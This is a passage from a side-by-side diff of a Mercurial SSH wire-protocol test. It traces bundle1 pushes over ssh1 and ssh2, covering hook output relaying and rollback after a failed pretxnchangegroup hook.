1723 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1699 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1724 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1700 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1725 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1701 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1726 | i> write(2) -> 2: |
|
1702 | i> write(2) -> 2: | |
1727 | i> 0\n |
|
1703 | i> 0\n | |
1728 | i> flush() -> None |
|
1704 | i> flush() -> None | |
1729 | o> readline() -> 2: |
|
1705 | o> readline() -> 2: | |
1730 | o> 0\n |
|
1706 | o> 0\n | |
1731 | o> readline() -> 2: |
|
1707 | o> readline() -> 2: | |
1732 | o> 1\n |
|
1708 | o> 1\n | |
1733 | o> read(1) -> 1: 0 |
|
1709 | o> read(1) -> 1: 0 | |
1734 | result: 0 |
|
1710 | result: 0 | |
1735 | remote output: |
|
1711 | remote output: | |
1736 | o> read(-1) -> 0: |
|
|||
1737 | e> read(-1) -> 273: |
|
1712 | e> read(-1) -> 273: | |
1738 | e> adding changesets\n |
|
1713 | e> adding changesets\n | |
1739 | e> adding manifests\n |
|
1714 | e> adding manifests\n | |
1740 | e> adding file changes\n |
|
1715 | e> adding file changes\n | |
1741 | e> added 1 changesets with 1 changes to 1 files\n |
|
1716 | e> added 1 changesets with 1 changes to 1 files\n | |
1742 | e> shell stdout 1\n |
|
1717 | e> shell stdout 1\n | |
1743 | e> shell stderr 1\n |
|
1718 | e> shell stderr 1\n | |
1744 | e> shell stdout 2\n |
|
1719 | e> shell stdout 2\n | |
1745 | e> shell stderr 2\n |
|
1720 | e> shell stderr 2\n | |
1746 | e> stdout 1\n |
|
1721 | e> stdout 1\n | |
1747 | e> stderr 1\n |
|
1722 | e> stderr 1\n | |
1748 | e> stdout 2\n |
|
1723 | e> stdout 2\n | |
1749 | e> stderr 2\n |
|
1724 | e> stderr 2\n | |
1750 | e> transaction abort!\n |
|
1725 | e> transaction abort!\n | |
1751 | e> rollback completed\n |
|
1726 | e> rollback completed\n | |
1752 | e> abort: pretxnchangegroup.b hook failed\n |
|
1727 | e> abort: pretxnchangegroup.b hook failed\n | |
1753 |
|
1728 | |||
1754 | testing ssh2 |
|
1729 | testing ssh2 | |
1755 | creating ssh peer from handshake results |
|
1730 | creating ssh peer from handshake results | |
1756 | i> write(171) -> 171: |
|
1731 | i> write(171) -> 171: | |
1757 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1732 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1758 | i> hello\n |
|
1733 | i> hello\n | |
1759 | i> between\n |
|
1734 | i> between\n | |
1760 | i> pairs 81\n |
|
1735 | i> pairs 81\n | |
1761 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1736 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1762 | i> flush() -> None |
|
1737 | i> flush() -> None | |
1763 | o> readline() -> 62: |
|
1738 | o> readline() -> 62: | |
1764 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1739 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1765 | o> readline() -> 4: |
|
1740 | o> readline() -> 4: | |
1766 | o> 412\n |
|
1741 | o> 412\n | |
1767 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1742 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1768 | o> read(1) -> 1: |
|
1743 | o> read(1) -> 1: | |
1769 | o> \n |
|
1744 | o> \n | |
1770 | sending unbundle command |
|
1745 | sending unbundle command | |
1771 | i> write(9) -> 9: |
|
1746 | i> write(9) -> 9: | |
1772 | i> unbundle\n |
|
1747 | i> unbundle\n | |
1773 | i> write(9) -> 9: |
|
1748 | i> write(9) -> 9: | |
1774 | i> heads 10\n |
|
1749 | i> heads 10\n | |
1775 | i> write(10) -> 10: 666f726365 |
|
1750 | i> write(10) -> 10: 666f726365 | |
1776 | i> flush() -> None |
|
1751 | i> flush() -> None | |
1777 | o> readline() -> 2: |
|
1752 | o> readline() -> 2: | |
1778 | o> 0\n |
|
1753 | o> 0\n | |
1779 | i> write(4) -> 4: |
|
1754 | i> write(4) -> 4: | |
1780 | i> 426\n |
|
1755 | i> 426\n | |
1781 | i> write(426) -> 426: |
|
1756 | i> write(426) -> 426: | |
1782 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1757 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1783 | i> test\n |
|
1758 | i> test\n | |
1784 | i> 0 0\n |
|
1759 | i> 0 0\n | |
1785 | i> foo\n |
|
1760 | i> foo\n | |
1786 | i> \n |
|
1761 | i> \n | |
1787 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1762 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1788 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1763 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1789 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1764 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1790 | i> write(2) -> 2: |
|
1765 | i> write(2) -> 2: | |
1791 | i> 0\n |
|
1766 | i> 0\n | |
1792 | i> flush() -> None |
|
1767 | i> flush() -> None | |
1793 | o> readline() -> 2: |
|
1768 | o> readline() -> 2: | |
1794 | o> 0\n |
|
1769 | o> 0\n | |
1795 | o> readline() -> 2: |
|
1770 | o> readline() -> 2: | |
1796 | o> 1\n |
|
1771 | o> 1\n | |
1797 | o> read(1) -> 1: 0 |
|
1772 | o> read(1) -> 1: 0 | |
1798 | result: 0 |
|
1773 | result: 0 | |
1799 | remote output: |
|
1774 | remote output: | |
1800 | o> read(-1) -> 0: |
|
|||
1801 | e> read(-1) -> 273: |
|
1775 | e> read(-1) -> 273: | |
1802 | e> adding changesets\n |
|
1776 | e> adding changesets\n | |
1803 | e> adding manifests\n |
|
1777 | e> adding manifests\n | |
1804 | e> adding file changes\n |
|
1778 | e> adding file changes\n | |
1805 | e> added 1 changesets with 1 changes to 1 files\n |
|
1779 | e> added 1 changesets with 1 changes to 1 files\n | |
1806 | e> shell stdout 1\n |
|
1780 | e> shell stdout 1\n | |
1807 | e> shell stderr 1\n |
|
1781 | e> shell stderr 1\n | |
1808 | e> shell stdout 2\n |
|
1782 | e> shell stdout 2\n | |
1809 | e> shell stderr 2\n |
|
1783 | e> shell stderr 2\n | |
1810 | e> stdout 1\n |
|
1784 | e> stdout 1\n | |
1811 | e> stderr 1\n |
|
1785 | e> stderr 1\n | |
1812 | e> stdout 2\n |
|
1786 | e> stdout 2\n | |
1813 | e> stderr 2\n |
|
1787 | e> stderr 2\n | |
1814 | e> transaction abort!\n |
|
1788 | e> transaction abort!\n | |
1815 | e> rollback completed\n |
|
1789 | e> rollback completed\n | |
1816 | e> abort: pretxnchangegroup.b hook failed\n |
|
1790 | e> abort: pretxnchangegroup.b hook failed\n | |
1817 |
|
1791 | |||
1818 | $ cd .. |
|
1792 | $ cd .. | |
1819 |
|
1793 | |||
1820 | Pushing a bundle1 with no output |
|
1794 | Pushing a bundle1 with no output | |
1821 |
|
1795 | |||
1822 | $ hg init simplerepo |
|
1796 | $ hg init simplerepo | |
1823 | $ cd simplerepo |
|
1797 | $ cd simplerepo | |
1824 |
|
1798 | |||
1825 | $ debugwireproto 1 << EOF |
|
1799 | $ debugwireproto 1 << EOF | |
1826 | > command unbundle |
|
1800 | > command unbundle | |
1827 | > # This is "force" in hex. |
|
1801 | > # This is "force" in hex. | |
1828 | > heads 666f726365 |
|
1802 | > heads 666f726365 | |
1829 | > PUSHFILE ../initial.v1.hg |
|
1803 | > PUSHFILE ../initial.v1.hg | |
1830 | > readavailable |
|
1804 | > readavailable | |
1831 | > EOF |
|
1805 | > EOF | |
1832 | testing ssh1 |
|
1806 | testing ssh1 | |
1833 | creating ssh peer from handshake results |
|
1807 | creating ssh peer from handshake results | |
1834 | i> write(104) -> 104: |
|
1808 | i> write(104) -> 104: | |
1835 | i> hello\n |
|
1809 | i> hello\n | |
1836 | i> between\n |
|
1810 | i> between\n | |
1837 | i> pairs 81\n |
|
1811 | i> pairs 81\n | |
1838 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1812 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1839 | i> flush() -> None |
|
1813 | i> flush() -> None | |
1840 | o> readline() -> 4: |
|
1814 | o> readline() -> 4: | |
1841 | o> 413\n |
|
1815 | o> 413\n | |
1842 | o> readline() -> 413: |
|
1816 | o> readline() -> 413: | |
1843 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n |
|
1817 | o> capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash\n | |
1844 | o> readline() -> 2: |
|
1818 | o> readline() -> 2: | |
1845 | o> 1\n |
|
1819 | o> 1\n | |
1846 | o> readline() -> 1: |
|
1820 | o> readline() -> 1: | |
1847 | o> \n |
|
1821 | o> \n | |
1848 | sending unbundle command |
|
1822 | sending unbundle command | |
1849 | i> write(9) -> 9: |
|
1823 | i> write(9) -> 9: | |
1850 | i> unbundle\n |
|
1824 | i> unbundle\n | |
1851 | i> write(9) -> 9: |
|
1825 | i> write(9) -> 9: | |
1852 | i> heads 10\n |
|
1826 | i> heads 10\n | |
1853 | i> write(10) -> 10: 666f726365 |
|
1827 | i> write(10) -> 10: 666f726365 | |
1854 | i> flush() -> None |
|
1828 | i> flush() -> None | |
1855 | o> readline() -> 2: |
|
1829 | o> readline() -> 2: | |
1856 | o> 0\n |
|
1830 | o> 0\n | |
1857 | i> write(4) -> 4: |
|
1831 | i> write(4) -> 4: | |
1858 | i> 426\n |
|
1832 | i> 426\n | |
1859 | i> write(426) -> 426: |
|
1833 | i> write(426) -> 426: | |
1860 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1834 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1861 | i> test\n |
|
1835 | i> test\n | |
1862 | i> 0 0\n |
|
1836 | i> 0 0\n | |
1863 | i> foo\n |
|
1837 | i> foo\n | |
1864 | i> \n |
|
1838 | i> \n | |
1865 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1839 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1866 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1840 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1867 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1841 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1868 | i> write(2) -> 2: |
|
1842 | i> write(2) -> 2: | |
1869 | i> 0\n |
|
1843 | i> 0\n | |
1870 | i> flush() -> None |
|
1844 | i> flush() -> None | |
1871 | o> readline() -> 2: |
|
1845 | o> readline() -> 2: | |
1872 | o> 0\n |
|
1846 | o> 0\n | |
1873 | o> readline() -> 2: |
|
1847 | o> readline() -> 2: | |
1874 | o> 1\n |
|
1848 | o> 1\n | |
1875 | o> read(1) -> 1: 1 |
|
1849 | o> read(1) -> 1: 1 | |
1876 | result: 1 |
|
1850 | result: 1 | |
1877 | remote output: |
|
1851 | remote output: | |
1878 | o> read(-1) -> 0: |
|
|||
1879 | e> read(-1) -> 100: |
|
1852 | e> read(-1) -> 100: | |
1880 | e> adding changesets\n |
|
1853 | e> adding changesets\n | |
1881 | e> adding manifests\n |
|
1854 | e> adding manifests\n | |
1882 | e> adding file changes\n |
|
1855 | e> adding file changes\n | |
1883 | e> added 1 changesets with 1 changes to 1 files\n |
|
1856 | e> added 1 changesets with 1 changes to 1 files\n | |
1884 |
|
1857 | |||
1885 | testing ssh2 |
|
1858 | testing ssh2 | |
1886 | creating ssh peer from handshake results |
|
1859 | creating ssh peer from handshake results | |
1887 | i> write(171) -> 171: |
|
1860 | i> write(171) -> 171: | |
1888 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) |
|
1861 | i> upgrade * proto=exp-ssh-v2-0001\n (glob) | |
1889 | i> hello\n |
|
1862 | i> hello\n | |
1890 | i> between\n |
|
1863 | i> between\n | |
1891 | i> pairs 81\n |
|
1864 | i> pairs 81\n | |
1892 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 |
|
1865 | i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000 | |
1893 | i> flush() -> None |
|
1866 | i> flush() -> None | |
1894 | o> readline() -> 62: |
|
1867 | o> readline() -> 62: | |
1895 | o> upgraded * exp-ssh-v2-0001\n (glob) |
|
1868 | o> upgraded * exp-ssh-v2-0001\n (glob) | |
1896 | o> readline() -> 4: |
|
1869 | o> readline() -> 4: | |
1897 | o> 412\n |
|
1870 | o> 412\n | |
1898 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash |
|
1871 | o> read(412) -> 412: capabilities: batch branchmap $USUAL_BUNDLE2_CAPS_SERVER$ changegroupsubset getbundle known lookup protocaps pushkey streamreqs=generaldelta,revlogv1 unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash | |
1899 | o> read(1) -> 1: |
|
1872 | o> read(1) -> 1: | |
1900 | o> \n |
|
1873 | o> \n | |
1901 | sending unbundle command |
|
1874 | sending unbundle command | |
1902 | i> write(9) -> 9: |
|
1875 | i> write(9) -> 9: | |
1903 | i> unbundle\n |
|
1876 | i> unbundle\n | |
1904 | i> write(9) -> 9: |
|
1877 | i> write(9) -> 9: | |
1905 | i> heads 10\n |
|
1878 | i> heads 10\n | |
1906 | i> write(10) -> 10: 666f726365 |
|
1879 | i> write(10) -> 10: 666f726365 | |
1907 | i> flush() -> None |
|
1880 | i> flush() -> None | |
1908 | o> readline() -> 2: |
|
1881 | o> readline() -> 2: | |
1909 | o> 0\n |
|
1882 | o> 0\n | |
1910 | i> write(4) -> 4: |
|
1883 | i> write(4) -> 4: | |
1911 | i> 426\n |
|
1884 | i> 426\n | |
1912 | i> write(426) -> 426: |
|
1885 | i> write(426) -> 426: | |
1913 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n |
|
1886 | i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n | |
1914 | i> test\n |
|
1887 | i> test\n | |
1915 | i> 0 0\n |
|
1888 | i> 0 0\n | |
1916 | i> foo\n |
|
1889 | i> foo\n | |
1917 | i> \n |
|
1890 | i> \n | |
1918 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n |
|
1891 | i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n | |
1919 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n |
|
1892 | i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n | |
1920 | i> \x00\x00\x00\x00\x00\x00\x00\x00 |
|
1893 | i> \x00\x00\x00\x00\x00\x00\x00\x00 | |
1921 | i> write(2) -> 2: |
|
1894 | i> write(2) -> 2: | |
1922 | i> 0\n |
|
1895 | i> 0\n | |
1923 | i> flush() -> None |
|
1896 | i> flush() -> None | |
1924 | o> readline() -> 2: |
|
1897 | o> readline() -> 2: | |
1925 | o> 0\n |
|
1898 | o> 0\n | |
1926 | o> readline() -> 2: |
|
1899 | o> readline() -> 2: | |
1927 | o> 1\n |
|
1900 | o> 1\n | |
1928 | o> read(1) -> 1: 1 |
|
1901 | o> read(1) -> 1: 1 | |
1929 | result: 1 |
|
1902 | result: 1 | |
1930 | remote output: |
|
1903 | remote output: | |
1931 | o> read(-1) -> 0: |
|
|||
1932 | e> read(-1) -> 100: |
|
1904 | e> read(-1) -> 100: | |
1933 | e> adding changesets\n |
|
1905 | e> adding changesets\n | |
1934 | e> adding manifests\n |
|
1906 | e> adding manifests\n | |
1935 | e> adding file changes\n |
|
1907 | e> adding file changes\n | |
1936 | e> added 1 changesets with 1 changes to 1 files\n |
|
1908 | e> added 1 changesets with 1 changes to 1 files\n | |
1937 |
|
1909 | |||
1938 | $ cd .. |
|
1910 | $ cd .. | |
1939 |
|
1911 | |||
1940 | Pushing a bundle1 with ui.write() and ui.write_err() |
|
1912 | Pushing a bundle1 with ui.write() and ui.write_err() | |
1941 |
|
1913 | |||
1942 | $ cat > $TESTTMP/hook << EOF |
|
1914 | $ cat > $TESTTMP/hook << EOF | |
1943 | > def hookuiwrite(ui, repo, **kwargs): |
|
1915 | > def hookuiwrite(ui, repo, **kwargs): | |
1944 | > ui.write(b'ui.write 1\n') |
|
1916 | > ui.write(b'ui.write 1\n') | |
1945 | > ui.write_err(b'ui.write_err 1\n') |
|
1917 | > ui.write_err(b'ui.write_err 1\n') | |
1946 | > ui.write(b'ui.write 2\n') |
|
1918 | > ui.write(b'ui.write 2\n') | |
1947 | > ui.write_err(b'ui.write_err 2\n') |
|
1919 | > ui.write_err(b'ui.write_err 2\n') | |
1948 | > EOF |
|
1920 | > EOF | |
1949 |
|
1921 | |||
1950 | $ hg init uiwriterepo |
|
